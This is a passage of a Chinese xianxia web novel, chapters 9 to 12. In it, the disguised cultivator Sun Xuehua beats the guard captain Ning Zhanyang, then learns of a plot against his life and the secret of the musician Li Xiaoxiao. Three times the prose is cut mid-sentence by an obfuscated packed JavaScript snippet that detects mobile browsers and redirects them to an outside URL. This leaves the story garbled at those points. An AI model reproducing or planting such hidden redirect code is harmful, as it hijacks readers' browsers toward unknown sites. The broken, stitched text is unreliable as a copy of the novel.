孙雪华一怔,还没来得及解释,李箫箫就红了眼,哽咽道:“怎么连你也欺负我?我还当你是个好人,真心待你,原是我看错了!” 言罢,他一个翻身,大被蒙过头,头抵着墙,半点不动了。 孙雪华:“……” 一个大男人,怎么这么的,爱耍小性子? 孙雪华语塞,只好伸出手,轻轻拍了拍他的背。 没有回应。 孙雪华又继续拍拍,对方还是不肯动。 无奈,他只能轻叹道:“我没有要轻贱你的意思,我是说,你平日里是不是对自己比较亲近的人,都这么,这么……” 词穷了。 他确实觉得李箫箫对他太过依赖,可说放荡轻浮实在太严重,说对方在勾引他,又显得自己太过自大。 孙雪华也不知如何是好。 李箫箫在被窝里拱了拱,闷闷地,像是哭了一样:“当然不是了,我就是见你心肠好,才想着也要对你好些,以后你也会多多照拂我。其他人我一概不认识,庄主也不来这儿,我和他根本就不熟,他请我来寿宴上奏乐,也是按曲子给钱的。你一口一个副守卫长如何如何,不就是听他说我是个以色侍人的禁脔?” 孙雪华听他说得可怜,于心不忍,哄道:“是我不对,说错话了,对不住,你别哭了。” 话音未落,某人又探出头来,看向孙雪华,偏巧对方也在看自己,四目相对,两个人像是都有些发愣。 李箫箫见到的,是眉眼低垂,神色宁静的孙雪华,原本就深邃的眼眸退去了那些冰冷的雪色,露出点滴温柔来,像高高在上的神明,流露出他对世人的悲悯。 李箫箫讨厌这样的眼神,可又不得不承认,这样的眼神,令他心安。 孙雪华只见到了对方眼角的泪。 说哭就哭,想来定是受了许多委屈吧? 孙雪华眼睫轻颤,伸手拂去了李箫箫眼角那滴热泪,低声道:“我没有轻贱你,别哭了。” 他不常安慰人,自然不知道他这样的举动落在某人心上,是怎样的震颤。 李箫箫嘴一撇:“你不会说话就不要说了,我今晚都不要理你。” “嗯。”孙雪华给他掖好被角,“你睡吧,我去巡夜了。” “有什么好巡的?这庄上要出事早出事了。”李箫箫闭上眼,真的一点都不搭理人。 孙雪华不言,悄然离开了。 这头,尹晓棠和金伯涛都等在院内,等着人来。金伯涛将手下都派出去巡逻了,没有人在,也好方便他们行动。 “涛哥,宋庄主有这么多孩子吗?”尹晓棠指着布局图上大大小小的红圈,认真数了数,“一二三四五……” “宋庄主家大业大,妻妾成群,所以孩子多。”金伯涛头也没抬,仔细检查着自己这身行头是否妥当,尹晓棠点了点头,没怎么往心里去,世间万事,福祸相依,不要轻易踏入别人的因果中。 等等,这话是谁对自己说的? 尹晓棠认真回忆了一番,感觉应该是个很重要的人,但又记不起来了。 偏偏这个时候涌上心头,而她早已踏进了这个因果。 尹晓棠刚把那个布局图卷好,塞进灵囊中,一众虎背熊腰的护卫举着火把就冲进了院内,金伯涛一惊,忙站起身, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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金伯涛默然,手指摩挲着那些被扯烂的灵符,多少有些难过。尹晓棠见状,出声道:“我们这些灵符,可是请了高人做的,你们这些人,就算加起来,都比不得他一根手指头。” 宁展阳一听,这才注意到这个小姑娘。 夜色昏沉,火焰摇曳,她站在金伯涛稍远的后面,五官看不太清,宁展阳起初也没在意,只当这是金伯涛的手下,现在见她胆敢忤逆自己,心下不悦,向前两步:“什么样的高人,不如报上名来,好让我见识见识。” 尹晓棠哑然,她想起孙雪华此次下山,本就是来散心的,连名字都是用的化名,她一下给人捅破,岂不是又给这位前辈惹麻烦了? 宁展阳见她半天说不出个所以然来,冷笑道:“我看你也面生得很,你说的高人,不会就是你自己吧?” 他睨了眼金伯涛,讥讽道:“副守卫长,听说你也曾在五柳山庄学艺,如今却央着个小姑娘给你做什么子虚乌有的灵符,不知是该说你学艺不精,还是该笑那五柳山庄徒有其名呢?” 话音未落,尹晓棠就高声嚷了起来:“我们五柳山庄绝非徒有其名之流!” “我们?”宁展阳一下抓住了重点,又看了看金伯涛,对方的眼神闪烁不定,面色尴尬,他更是哂笑几声,“原来是个关系户啊,我说你怎么看着面生呢,原来是副守卫长利用职务之便,给你开后门。” “才没有!”尹晓棠大声反驳着,没成想,宁展阳竟是直接一鞭子甩了过来。 尹晓棠与金伯涛左右分开撤退,只见宁展阳一鞭落下,脚下地砖顿时四分五裂。 “拳脚功夫不过关,可不能在这江心洲上待。” 9. 第 9 章 月上中天,焰色憧憧,十几个高大的护卫将这僻静的小院围得水泄不通,尹晓棠与金伯涛力战宁展阳,却未曾占得上风。那山羊胡子右手持鞭,左手却始终按在腰间佩刀刀柄处,似乎仍留有实力。 “这是戒鞭,仅有三尺长,若是连一击都挡不住,你们趁早滚回家去吧。”宁展阳面露不屑,一个箭步冲上前,手中戒鞭挥出一道凌厉的弧度,尹晓棠后撤两步,头向后仰去,那戒鞭的顶端刮过她的鼻尖,瞬间下落,狠狠打在了脚下的地砖上。 尹晓棠站稳脚跟,感觉鼻梁上火辣辣的疼,抬手碰了碰,却是摸了满手血。 “刚刚那一鞭,不过是小施惩戒。”宁展阳暂时停下了动作,不可一世地看向他们,像是在看早已落入网中的猎物,欣赏着他们最后垂死挣扎的姿态,残忍狠绝。 “副守卫长,应该能明白我的意思。” 金伯涛默然,低着头,不知道在想些什么,尹晓棠捂着不停流血的鼻子,五柳山庄以骑射为长,刀剑拳脚,符箓术法,均是欠缺,若是和人硬碰硬,她确实不敌。 可这让她如何甘心? “要是我的弓箭在手上,又怎会容你这般欺凌?”尹晓棠的气息有些不稳,鼻梁剧痛,怕是鼻骨都断了,稍微大声点说话就好痛,宁展阳不怒反笑:“敬酒不吃吃罚酒。” 他挥鞭再次攻来,尹晓棠脚尖轻点,凌空跃起,避开他一记横扫,可没等她落地,宁展阳便快速抽鞭,一鞭子打在她的胫骨上。尹晓棠吃痛,脚下一崴,踉跄几步,摔倒在地。宁展阳再次发力,戒鞭连连劈下,尹晓棠连滚几圈,狼狈躲避着对方的攻击,一时间整个院子尘土飞扬,地面都在轻轻晃动,她好不容易找准机会爬了起来,那戒鞭已逼近到眼前,尹晓棠下意识地抬手阻挡,可想象中的剧痛并未到来。 她睁开眼,身前挡着一个挺拔的背影。 “孙——” 尹晓棠惊喜异常,小声轻呼,又立刻捂住了嘴。 孙雪华两指夹着戒鞭的顶端,稍稍拧了下,宁展阳便察觉到一股不同寻常的力道,但他并未放在心上,仍是哂笑:“你又是谁?和那小丫头一伙的?” “在下姓殷,与尹姑娘一同来这江心洲做护卫。” “呵。”宁展阳轻蔑不已,正要将戒鞭抽回,可下了力才发现,那戒鞭纹丝不动,就好像被钉死在了半空,根本无法收回。 宁展阳不悦,再次发力,只见孙雪华轻轻松开手指,那戒鞭迅速折回,正中对方面门,打得那山羊胡子都劈了个叉。 宁展阳疼得龇牙咧嘴,怒喝道:“尔等竖子,竟敢戏弄于我!” 他嘴一张,就喷出几口血沫来,孙雪华神色未变:“在下并无此意,还请守卫长行个方便,莫要为难我们。” “下去跟阎王爷说吧!”宁展阳怒吼着扑了过来,孙雪华一步未动,一眼便看穿了他的破绽,单手抓住了那根戒鞭,脚尖下踩鞭身,宁展阳竟是争不过,戒鞭脱手,重心不稳,整个人朝前摔去,孙雪华再次抬腿,一脚踹在了他的肩上,只听“扑通”一声,宁展阳瞬间跪倒在地。 “还请守卫长行个方便。”孙雪华踩着他的肩膀,再次重复了一遍这句话,宁展阳抬头,正要破口大骂,却见对方神色冷肃,如苍山负雪,巍峨耸立,宁展阳顿生“不敢高声语,恐惊天上人”的怯意,可若要他俯首,实在不甘。 “今日是我大意轻敌,自认倒霉,可你们擅自闯入这江心洲,我断不可能放你们离开!”宁展阳手一挥,高声嚷道,“都给我上!” 话音未落,那十几个人高马大的护卫便一拥而上,孙雪华垂眸,轻轻一挥鞭,瞬间打倒一大片,宁展阳惊愕,只见对方又是一鞭,震得所有人都后退三尺。 “我无意与各位为敌,但今日若是谈不了,那就没有明日了。”孙雪华将那戒鞭折好,递到宁展阳跟前,“守卫长意下如何呢?” 对方脸色白了几分,只听见自己带来的下属在地上不停地闷哼,大概都是疼得不行了,才半天爬不起来。 宁展阳自觉面上无光,就见孙雪华又伸出另一只手。 意思很明显,要么现在就服软,要么就打到你服软。 宁展阳咬牙,一把夺过自己的戒鞭,匆匆站了起来:“兹事体大,待我回禀庄主,再将结果告知你们。” “可以。”孙雪华没有阻拦,金伯涛却有些担心:“可这件事若是被庄主知晓,我们恐怕——” “我们要达到最终目的,不可能避开庄主。他老人家知晓只是时间早晚的事情。”孙雪华缓缓说出了自己的看法,“渡口来往的货船和运货之人,有一些我认得,均是有名有姓的修道大宗,能请动他们,想必宋庄主也是位有头有脸的大人物。” “如此,对江心洲发生的事情,宋庄主想必也一清二楚,我们必不可能逃开他的耳目。” 闻言,宁展阳不得不重新审视这个年轻人:“你倒是比这两个蠢货想得明白。” “我们初来乍到,不懂江心洲的规矩,顶撞了守卫长,还请您海涵。” 孙雪华拱手抱拳,宁展阳狐疑地打量着这个少年,他不知对方来历,但观其面相,见其身手,闻其言谈,只觉得此人非是池中之物,不可小觑,于是选择退而求次,不与人硬碰硬。他说道:“我这人素来宰相肚里能撑船,不会和你们这些小辈们计较。” “那回禀庄主一事,就劳烦守卫长了。” 孙雪华微微颔首,以示感谢。尹晓棠见状,也捂着鼻子,学着他的样子说道:“劳烦您了。” 宁展阳睨了她一眼:“你这小丫头也是讲义气,今日我下手重了,改日给你送点金疮药来,自个儿涂涂吧。” 言罢,他又瞪了眼金伯涛,一个字没说,带人离开了。 孙雪华转过身,示意尹晓棠将手放下,小姑娘乖乖照做,那鼻梁早肿得老高,像个红透的萝卜。孙雪华轻轻一按,尹晓棠就龇着牙,直抽气,但是忍着一个“疼”字都没喊,孙雪华轻声道:“鼻骨没断,敷点金疮药,歇上两天也就好了。” “嗯。”尹晓棠闷闷地应着,“我以后一定苦修身法,绝不会再在这种事情上吃亏了。” “术业有专攻,你尽力便好,何况守卫长以几之长,攻你之短,本就胜之不武。”孙雪华简单安慰了两句,便从灵囊里取出一瓶药粉,交给对方,“涂这个吧,若是宁展阳明日真送金疮药来,你也照常收下,莫要违逆他。” “好。”尹晓棠点点头,“那孙前辈,我们今晚还按原计划行动吗?” “等等吧,宁展阳对我们如此抵触,现下又吃了亏,一定会立刻赶去请示宋庄主,对方是否应允,也只在这几个时辰而已。” 金伯涛闻言,说道:“宁展阳好大喜功,不知会在庄主面前如何编排我们,他一番颠倒黑白,我们恐怕没好果子吃,不如趁此机会,早去早回,别白等这几个时辰。” 孙雪华淡淡地看了他一眼,解释道:“宁展阳好大喜功,但目的和我们是一致,区别只在于,这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762367|174439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 功劳算在谁头上。” 尹晓棠一下就听明白了:“我知道了,守卫长看你这么厉害,一定会劝宋庄主派你和他一起去调查,然后把我和涛哥撇掉。” 金伯涛一愣,孙雪华却没有表态,只道:“尹姑娘,我且送你回去吧。” “嗯。”对方想也没想就答应下来,金伯涛见状,也不好挽留,就说自己留下来收拾残局,三人就此别过。 尹晓棠住的地方也不远,走几步就到,孙雪华半路问她:“尹姑娘,你那同门,从前在五柳山庄的时候,学艺如何?” “你说涛哥吗?”尹晓棠仔细回忆了一下,“他修行也是刻苦,但多年来不曾有大长进,当时教我们的老师傅说他没有悟性,后来他就离开山庄了。” “嗯。” “孙前辈,你怎么突然问起这个?” “无事。” 孙雪华没有解释,只让她安心养伤,尹晓棠也未追问,待到路口,就各自离去了。 孙雪华独自回到李箫箫住处,心下却仍是思量着金伯涛一事。他赶到那院子时,尹晓棠正被宁展阳打得毫无还手之力,可金伯涛就在一边不声不响地看着,没有上前帮忙的意思,不知是害怕,又或是其他原因。 孙雪华觉得奇怪,但他与金伯涛仅有几天交情,不好在尹晓棠面前多言,便作罢。只是按照他从前的经验,这样的人,若真的大敌当前,临阵脱逃或是临阵倒戈的可能性很大。 但愿是他想太多了吧。 孙雪华轻叹,又想到宁展阳,那人虽说蛮横自大,但好生说道,却并非纠缠之人。可金伯涛口中,这位守卫长似乎总爱搬弄是非,嚼人舌根。 是是非非,真真假假,还有待商榷。 孙雪华飞身越过庭院,无声无息地落在窗沿,悄然进了屋。 李箫箫尚在熟睡,不曾醒来,只是那被子又被他搅得满是皱褶,孙雪华给他盖好,和衣躺下。 另一边,宁展阳跪在一处汉白玉石阶下,恭恭敬敬地俯首道:“恳请庄主示下。” 屋内灯火长明,一双枯瘦的手摩挲着那张完好的灵符,声音沙哑地说道:“这灵符,确实出自高人之手。” 宁展阳道:“属下已确认过,那姓尹的小姑娘有些底子,但身法不行,实战欠缺,可那少年人,不简单,这灵符应是出自他之手。” 山羊胡子将今夜所见所闻细细道来,说着:“属下斗胆猜测,这二人应该都是受金伯涛所托,从五柳山庄前来协助他调查护卫失踪一事。” “五柳山庄吗?”老者略有些迟疑,“五柳山庄早已没落,几乎沦为空城,而这灵符之内,力量磅礴,绝非一般修者可制出,你说他们同出五柳山庄,不可信。” “庄主所言极是。”宁展阳叩首,老者默然片刻,问他:“展阳,此事你意下如何呢?是否允许这二人继续追查失踪一事?” “私以为,若那少年人非是五柳山庄之人,那他与金伯涛交情应该不深,这其中便有文章可做,说不定可以将那少年人收为己用,若是不行,留着他,只会后患无穷,那只能杀之而后快。” “嗯,就照你说的办吧。” 屋内发出了指令,宁展阳再叩首:“属下遵命。” 言罢,他便起身离开,屋内,那双苍老的手将灵符置于烛火之上,可那薄薄的纸张却不曾燃烧,反而静静地散发出一缕幽香。 “这术法?” 老人一顿,心下起疑,慢慢收回灵符,久久不言。 10. 第 10 章 次日一早,宁展阳便来到了李箫箫住处,找到了孙雪华。 少年对他的到来并不惊讶,毕竟身为守卫长,只需稍微查点一番,就可以知晓自己的方位所在,但比较奇怪的一点是,比起金伯涛,宁展阳似乎更为尊重李箫箫,不仅没有半分昨夜的倨傲,甚至极为恭敬,且不像是装出来的。 交谈中,孙雪华得知宋庄主准许他们继续调查护卫失踪一事,但要在宁展阳监管下。 “负责二小姐和小少爷安全的护卫,都是我的手下,包括失踪的那几个,我亦是心急如焚。殷小兄弟与其投靠金伯涛,不如与我合作,省得走弯路。” 宁展阳言简意赅地说着:“而且,小兄弟气质出众,身手上佳,若是能随我一道立功,待此事平息后,我必定回禀庄主,提拔你做我的副手。” “好。”孙雪华没有拒绝。 宁展阳甚是满意,可李箫箫却道:“但小雪是副守卫长安排过来的,他若是随你去,岂不是让副守卫长面上无光?到时候,副守卫长怪罪下来,我也难做呀。” “他金伯涛怎敢对上宾不敬?您是庄主请来的客人,违逆您,就是违逆庄主。”宁展阳说着,余光瞟了眼孙雪华,对方神色未变,李箫箫看看这个,看看那个,嘴角勾起一抹若有似无的笑意,轻声吩咐道:“小雪,你先出去吧,我有事要单独和守卫长谈谈。” “是。”孙雪华微微点头,大步离了这个屋子,顺便将房门关好。 屋内顿时安静许多,那灿烂的日光透过窗户,落了个满地斑驳。一道灵光混在其间,并不惹人注目。 偏偏李箫箫注意到了,可他也只是换了个姿势,舒舒服服半靠在软榻上,宁展阳从怀中取出一张灵符,双手奉上,正色道:“祖师爷,这是属下从金伯涛那里搜来的灵符,但以属下愚见,这灵符高妙,不可能是他的手笔。” 祖师爷? 点滴灵光闪烁,外面的孙雪华将他们的谈话听得一清二楚,脸色深沉。 “嗯。”李箫箫两指夹住那张灵符,轻轻一抽,便取了过来,顺势抖了两下,叹道,“哎呀,听着甚是美妙。” 宁展阳低声说着:“我昨夜与金伯涛带回来的那两个人皆有交手,那小姑娘修为尚浅,不足以画出此等灵符,但那少年,可不一般,我已请示过庄主,若能将那少年收为己用,便是一桩美事,若不能,恐有大祸。” “嗯。”李箫箫漫不经心地点了个头,继续把玩着那张灵符,头也没抬,宁展阳观察着他的脸色,见他并无不悦,便壮着胆子说出了心中所想:“属下的建议是,不如趁此机会,以调查为名,实则将其——” 宁展阳做出了一个“抹脖子”的动作,李箫箫扫了他一眼,见他那手背还贴在脖颈处,不由地想笑:“你不是说要将其收为己用?这么快就要杀人灭口了?” “庄主年纪大了,多是心软,属下怕他不忍心,才这般劝说,但那少年,一看便知不是个好对付好糊弄的人,若是被他顺藤摸瓜,捅破整个山庄的秘密,必定会掀起惊涛骇浪,不如趁早将其扼杀,以免夜长梦多。” 宁展阳拱手抱拳道:“还请祖师爷成全。” “你倒是忠心耿耿。”李箫箫笑盈盈的,没有丝毫犹豫,答应下来,“念在你一片心意,我便成全你。” 宁展阳万分感激:“今夜我会命人埋伏在二小姐院外,假借调查之名,将那姓殷的小兄弟引过去,只待他踏入陷阱,便万箭穿心,非死即伤。” 李箫箫眯了眯眼,问道:“那你需要我做什么呢?” “属下恐计划有失,刀枪箭矢难伤那少年分毫,届时,还请祖师爷施法助力。” “好,我知道了,你且去安排吧。” “多谢祖师爷。”宁展阳三叩九拜,无不恭敬。 李箫箫眼底闪过一丝隐晦的杀意,却始终没有显露,含笑说着:“不客气,你下去吧。” “是。” 宁展阳后退三步,才缓缓转身,推门而去。 孙雪华正站在不远处的廊下,双手背于身后,站姿挺拔,正在兢兢业业地履行着自己的职责。 宁展阳脚步一顿,心下忽地生出一股惋惜,他想,这少年人确实是个难得的人才,若不是撞上这等烂事,今后许是大有作为。 可惜啊,真是可惜。 宁展阳想起过往,告诫自己莫要心软,大步向前,说道:“殷小兄弟,我已请示上宾,他同意你与我一道行事,今夜子时,我会再来拜访。” “嗯。”孙雪华没有多问,宁展阳又从腰间配囊里取出一瓶伤药,抛过去给他:“拿着,给昨晚那个小姑娘,我就不亲自去了。还有,莫要告诉她这件事,她与金伯涛师出同门,想必感情深厚,不会轻易与我结盟,你肯定也不愿意和她反目成仇,所以——” 宁展阳顿了顿,逐字逐句地叮嘱道:“保住这个秘密。” “明白。”孙雪华握着那瓶伤药,还是那副不动如山的样子,宁展阳拍拍他的肩膀:“好好干,莫要再跟金伯涛胡闹了。” “守卫长忠心耿耿,小人佩服,可副守卫长也非是酒囊饭袋,为何您与他不睦呢?”孙雪华见状,顺势问了句,宁展阳也不想隐瞒,直言道:“还能怎么样?看不起他呗。你最好不要被他这假惺惺的样子骗了,等他把你往火坑里推的时候,你就知道他这人,就是一懦夫!” 孙雪华不言,宁展阳也不强求,撂下这句话,就潇洒地离开了。 庭院深深,天色朗朗,黑与白不断交织,光影随行,孙雪华无声无息地收回了自己的术法,静静等待着。 那点滴闪烁的灵光,就是他的术法,目的就是偷听宁展阳与李箫箫的对话。 若是不错,今夜子时,宁展阳便要与李箫箫一道设局,击杀自己。 这些暂且不谈,最让孙雪华不解的是,为什么宁展阳要称呼李箫箫为祖师爷? 难道,是回魂之术吗?是宋家的祖师爷附身在了一个伶人身上? 孙雪华很是困惑,不应当,即使是回魂之术,他也能察觉才是。就算真的是他疏忽,没能识破这些术法,可李箫箫确实身无长物,宋家上下为何对一个无用之人如此恭敬? 到底是为什么? 孙雪华闭目沉思,只听“吱呀”一声响,李箫箫从门内探出半个头来,朝着他招招手:“快进来。” 那好看的眉眼逆着光,像是蒙上了一层淡淡的阴影,似梦似幻,很不真切。孙雪华竟是有一瞬的恍惚,再回神时,就听李箫箫又叫了他一声:“小雪,快进来。” 孙雪华颔首,再次进了屋。 李箫箫猛地攥住他的手,轻声道:“你快走吧,趁着还有时间,赶紧离开这里。” 孙雪华一愣,问道:“为什么?” “宁展阳要杀你。”李箫箫说着,眼里满是急切,孙雪华更是讶异,只是他惯来没什么表情,此刻也只是微微蹙眉,装作什么都不知道:“此话怎讲?” 李箫箫闻言,手上更是用了几分力,那柔软的掌心紧紧贴在少年微冷的手背上,更显滚烫,孙雪华不太适应,甚至产生了些许逃避的心思,可他看着李箫箫那双满是爱怜的眼睛,莫名的,于心不忍。 “你先松开我,有事坐下来慢慢说。”孙雪华垂眸,李箫箫却不肯听,只道:“都什么时候了,还坐下来谈?他们要杀你,就在今晚。” “理由呢?” “你坏了他们的好事,他们当然要杀你。” “什么好事?”孙雪华目光如炬,“我已经答应与守卫长结盟,为何他还要置我于死地?” “这,你,”李箫箫低眉,似是有难言之隐,可他犹豫片刻,仍鼓起勇气说道,“我跟你说过吧,我是庄主请来的客人。” “嗯。” “前阵子,大概是一个多月前,这江心洲突然出现了鬼魂,生食了二小姐院子里的护卫,宋庄主便传书于我,希望我能出手相助。” “希望你替他除灾?”孙雪华望着他,倒是很想知道,他能编出个什么故事来。 “不不不,他说,这个恶鬼与他有些渊源,出现这种事情,他也很懊恼,加上快到八十大寿了,他不想晚节不保,就希望我能 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“宋庄主没有打算驱鬼,而是希望我能搭台,让他与那鬼魂见上一面。可我哪会这个?本来是想借口说招魂失败,然后溜之大吉,结果我来的那天,小少爷院子里的护卫也失踪了,看到那些破碎的布条,我才意识到事情的严重性。” 李箫箫眼尾飞红:“宋庄主拉着我,一定要我想办法,你说,我怎么办呢?我又不敢直接告诉他,我其实一点术法都不会,他要是知道,还不把我生吞活剥了?” “所以,你就骗宋庄主,你可以为了他献祭,以此来招魂,让宋家祖师爷附身,或是,夺舍?” 孙雪华猜到他干了些什么,神色未变:“一者,那宋家祖师爷生前应该是个人物,借他的名义,能够暂时镇住江心洲众人,免他们忧心,二者,从道义上讲,宋庄主不可能对自己的祖先不敬,便会好好供着你。可你这么做,岂不是更骑虎难下?” 李箫箫脸色微红,赧然道:“正因如此,我才夜夜吹箫,聊以慰藉。” 孙雪华敛眉,李箫箫更是难过:“我知道错了,我不想连累你遭殃,所以你赶紧走吧,我留在这儿,替你争取一点时间。” “不必,他们既要杀我,定不会善罢甘休。”孙雪华沉吟片刻,“依你所言,恶鬼食人之事,其实是宋庄主默许的?他们怕我将此事捅破,所以才要杀我灭口?” “我猜不透宋庄主的想法。”李箫箫一脸困惑,“宋庄主只让我招魂,他要亲自和那个鬼魂谈谈,可他最终要得到什么样的结果,我不清楚。但据我观察,他大概,只是想保住他的名声,其他的并不重要。” 孙雪华注视着他,只觉得他与宁展阳的对话,仍然值得推敲,不可全信。联想到几日来的种种,孙雪华又问:“招魂一事,只有庄主和守卫长知道吗?” “对,事关重大,庄主只带了守卫长前来护法,其他人一概不知,对外也只说我是来贺寿的伶人。” “嗯。” 若真是如此,就难怪金伯涛和宁展阳对李箫箫的态度截然不同了。 孙雪华思量着,宽慰道:“你放心,今夜不会有事的,我不能抛下你一个人独自逃跑,我若是走了,你会有危险的。” “可他们好多人,你单枪匹马,如何能赢?” 李箫箫愁容满面,那日光一点点透过窗棂,像散开的飞雪,落入他的眼中,渐渐融化,变成水珠,仿佛是一滴又一滴晶莹的眼泪。 孙雪华晃了下神,以为他又要哭了,轻声哄道:“你不要担心,若是实在害怕,就先睡一觉,醒来就能见到我了。” 孙雪华几乎很少说这样轻缓且长的句子,可每字每句,又像完完全全发自肺腑,像冰雪初融,退去那些冷硬、肃杀,露出柔软的春光一般的底色。 李箫箫在此时此刻,感觉到自己是个真真切切的恶人。 可那又有什么关系? 他想要得到的,必定会得到。 “我晚上和你一起去。”李箫箫依旧紧紧握着他的手,“无论如何,我都陪着你。” 那掌心的温热源源不断地传来,孙雪华抿了抿唇,没有再继续试探。 11. 第 11 章 两个人将话说开后,这一日倒也平安。 孙雪华坐在廊下叠着几张纸符,灵巧的手指轻轻翻折两下,便将一张灵符叠成了三角,装进了一个特制的红色锦囊里。 李箫箫洗了些新鲜的杏子,装在盘子里,放到他面前的矮桌上,自己则坐到对面,单手托着半边脸颊,目不转睛地盯着他。孙雪华像是没有发觉那般,依旧专注地叠着他的灵符。李箫箫耐心地等了许久,见他始终没有反应,才问道:“这些都是晚上要用到的吗?” “嗯。” “这些够用吗?要不要我帮你一起叠?”李箫箫装作完全不懂似的,随便捡起一张,学着孙雪华的样子,左边折一下,右边折一下,将那原本平整的灵符折得乱七八糟。 孙雪华依旧没什么反应。 李箫箫只觉无趣,又一次将那灵符展开,铺在桌上,上头全是凌乱的折痕,一道又一道,清晰可见。他嘟囔着:“我不会,你能不能教教我啊?” 孙雪华闻言,抬眸看着他:“这个不容易学,也不能轻易学。若你心诚,今夜过后我再从头教你。” 李箫箫听了,自是十分高兴,他捏起一颗杏子,递到孙雪华嘴边:“新送来的,比上次的甜一些。” “谢谢。”孙雪华对他这些突如其来的小动作也见怪不怪,没有再躲避,而是接过那杏子,咬了一口。 确实比上次的甜一点。 孙雪华吃相非常端正,一点多余的声音都不会发出来,细嚼慢咽,但也不会显得拖沓,反而更像是在专心致志地做一件事,如他练剑,如他修行,认真细致,不差分毫。彼时正是晌午,日光正盛,廊下一片清朗,那温暖明媚的光线落满孙雪华半身,衬得那眉眼更为英挺,细密的眼睫微微下垂,遮住了眼底的冷清与疏离,使他整个人都透着一股难以言说的静谧之感,像夏夜里广袤无垠的湖泊,一丝波澜未起。 李箫箫看得入迷,竟是没有发现对方已经吃完了一颗杏子。 “怎么了吗?”孙雪华不解,将杏核放在一边,擦了擦手,准备收拾一下桌上的灵符,李箫箫回过神,笑着:“看看你。” 他伸手擦去孙雪华唇上的汁水,柔软的指腹有意无意地描着对方的唇线,这才发现,这人的唇角是自然上扬的,弧度很小。 明明是很适合微笑的嘴唇。 李箫箫轻轻按了按,叹道:“你为什么不爱笑啊?你要是经常笑笑,不知道要迷倒多少人呢。” 孙雪华不答,只是稍稍向后仰了下,李箫箫指下一空,反应过来,讪讪着:“抱歉,我又忘了,你不喜欢这样。” “没关系,你喜欢就好。” “嗯?” 李箫箫有一瞬间,感觉自己完全看不透孙雪华的内心。 “不喜欢,却又纵容我这么做,你难道,”他眉梢一挑,试探着开了个玩笑,“喜欢我?” 孙雪华没有什么表情:“你孤身在此,无所依靠,对我多有依赖,我完全可以理解。” 他不知怎地,又想起那天晚上,李箫箫又哭又闹的样子,便思量着这回一定要想个合适的、不会让这人误会的说辞,于是他想了会儿,说着:“我不想让你伤心。” 李箫箫败下阵来,有些哀怨地嗔怪道:“怕我伤心,所以没有拒绝我,那要是换个人,岂不是也可以这样?” “其他人也不会像你这样。”孙雪华想了一圈,郑重回答道,“确实没有,从我整个师门,再到我最好的朋友,一个都没有。” 李箫箫哭笑不得:“我,你,你这个,” 他指了指孙雪华,轻轻咬牙,愣是没敢把“不解风情”这四个字吐出来。 对方不言,静静地注视着他,那双冷肃的眼睛好像在观察着一个张牙舞爪的小猫,等着他究竟是露出毫无威慑力可言的尖牙,还是柔软的肚皮。 李箫箫缩回手,不吭声了。 孙雪华见状,知他不会再发脾气了,便将那个红色锦囊放到他面前:“这个,你随身带,可保你安全。” 李箫箫头一歪,漫不经心地捡起来把玩,本就绑得极其松散的头发又垂落在颊侧,发尾刚好扫到桌面,看上去极为慵懒,可他偏又眉头微蹙,不知道是在为难,还是在不满。 孙雪华便从灵囊中勾出一根红绳,系在锦囊一端,道:“手给我。” 李箫箫乖乖伸出手,对方便将那小巧玲珑的锦囊系在了他腕上,叮嘱着:“不要沾水,不要染尘。” “杏汁算吗?”李箫箫动了动指头,意有所指,孙雪华无奈,用帕子给他擦擦干净,不言不语。 气氛顿时微妙起来。 孙雪华做任何事,都是一副一丝不苟的样子,连力道都会控 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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话音未落,草木摇曳,廊下飞花,如一场纷扬的大雪,乘着日光,打破这一隅的寂静,喧闹地落满那装着杏子的瓷盘、低矮的方桌、颜色分明的衣袖。 孙雪华仍是单手掐诀,那些落花渐次散开,融化成香风,又盘绕凝结,变成了五彩斑斓的翩然飞舞的蝴蝶。 李箫箫哑然。 他见过无数的术法,这种哄小孩的东西,他从来不屑一顾。 可被孙雪华用在自己身上,竟有种微妙的难以言喻的惊喜和满足。 李箫箫莞尔,难得没有再贫嘴。 12. 第 12 章 是夜,宁展阳如约而至,孙雪华就待在廊下等他。 夜色迢迢,月光隐晦,少年人的身影尤为惹眼,像静谧的青松,无言地伫立着。宁展阳走上前,与他说道:“我已安排妥当,今日便从二小姐的院子开始搜索吧。” “嗯。” “最先失踪的护卫,就是二小姐那里的。二小姐因此事受了惊吓,便回了镇上的老宅居住,等到庄主寿宴那天才会回来。”宁展阳简单介绍了一下目前的情况,比起金伯涛,他显然知道的更多,他告诉孙雪华,二小姐是庄主最受宠的孩子,出了这事,庄主也非常痛心,要是他们能彻底解除这次危机,一定能得到非常多的赏赐。 孙雪华见他讲着讲着,不知道怎么就绕到了前途利弊上去了,便稍稍打断了一下,问道:“小少爷那边呢?” “那边再说吧。”宁展阳囫囵了两句,见好就收,拉着这个少年准备出发了。李箫箫这时候才从房里慢悠悠地走出来,右手握着他的那根长箫,背在身后,宁展阳见了他,忙拱手行礼,李箫箫给了他一个肯定的眼神,对方心领神会,不曾多言。 于是,山羊胡子的瘦高个儿打头阵,领着两个人匆匆夜行,去到江心洲最中央的一处院落。 那地方草木葱郁,繁花似锦,亭台楼阁皆是掩映其中,漂亮精致。 可孙雪华遥遥望去,只觉这院落布置颇有些古怪,像是一座精心打造的金丝笼,只出不进。他没有立刻表态,只与李箫箫附耳说道:“你跟紧我。” 对方笑了笑,没有说话。 